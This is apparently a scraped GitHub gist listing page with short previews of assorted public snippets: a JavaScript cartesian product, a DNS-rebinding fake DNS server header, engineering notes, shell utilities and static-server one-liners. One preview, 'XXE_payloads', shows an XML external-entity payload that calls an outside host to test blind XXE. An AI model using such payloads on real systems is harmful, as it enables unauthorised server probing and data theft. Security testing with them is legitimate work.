Skip to content

Instantly share code, notes, and snippets.

View h43z's full-sized avatar
👾
mindfulz

ᖇiᑕᕼᗩᖇᗪ h43z

👾
mindfulz
View GitHub Profile
@rstiller
rstiller / test.js
Created September 28, 2018 07:43
javascript cartesian product using generator functions (streaming)
/*
streaming cartesian product elements uses less memory ...
*/
const generator = cartesianProductSimplified(['a', 'b'], [1, 2, 3, 4], ['x', 'y', 'z']);
/* prints
[ 'a', 1, 'x' ]
[ 'a', 1, 'y' ]
[ 'a', 1, 'z' ]
[ 'a', 2, 'x' ]
[ 'a', 2, 'y' ]
@xkon
xkon / FakeDNSServer.py
Created February 23, 2017 02:18
a simple fake DNS server for DNS rebinding Attack
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : xk0n
# @Date : 2017-00-00
# from __future__ import print_function,division,unicode_literals
import SocketServer
import struct
import datetime
import logging

FWIW: I (@rondy) am not the creator of the content shared here, which is an excerpt from Edmond Lau's book. I simply copied and pasted it from another location and saved it as a personal note, before it gained popularity on news.ycombinator.com. Unfortunately, I cannot recall the exact origin of the original source, nor was I able to find the author's name, so I am can't provide the appropriate credits.


Effective Engineer - Notes

What's an Effective Engineer?

@MorrisJobke
MorrisJobke / jodel.html
Created April 2, 2016 00:19 — forked from felixboehm/jodel.html
jodel-board, TOKEN needs to be set
<html>
<head>
<style>
.grid-item {
margin-bottom: 15px;
}
.grid-item img {
width: 250px;
height: 400px;
@deshion
deshion / get_options.sh
Last active September 9, 2024 14:13
Parse command line options for a shell script (POSIX)
#!/bin/sh
# POSIX
# Reset all variables that might be set
file=
verbose=0 # Variables to be evaluated as shell arithmetic should be initialized to a default or validated beforehand.
while :; do
case $1 in
-h|-\?|--help) # Call a "show_help" function to display a synopsis, then exit.
@staaldraad
staaldraad / XXE_payloads
Last active April 28, 2025 08:46
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
#!/bin/bash
files=(\
'https://adaway.org/hosts.txt'\
'http://winhelp2002.mvps.org/hosts.txt'\
'http://hosts-file.net/.\ad_servers.txt'\
'http://pgl.yoyo.org/adservers/serverlist.php?hostformat=hosts&showintro=0&mimetype=plaintext'\
'http://someonewhocares.org/hosts/hosts'\
)
@lelandbatey
lelandbatey / whiteboardCleaner.md
Last active April 10, 2025 09:21
Whiteboard Picture Cleaner - Shell one-liner/script to clean up and beautify photos of whiteboards!

Description

This simple script will take a picture of a whiteboard and use parts of the ImageMagick library with sane defaults to clean it up tremendously.

The script is here:

#!/bin/bash
convert "$1" -morphology Convolve DoG:15,100,0 -negate -normalize -blur 0x1 -channel RBG -level 60%,91%,0.1 "$2"

Results

@willurd
willurd / web-servers.md
Last active April 28, 2025 14:34
Big list of http static server one-liners

Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.

Discussion on reddit.

Python 2.x

$ python -m SimpleHTTPServer 8000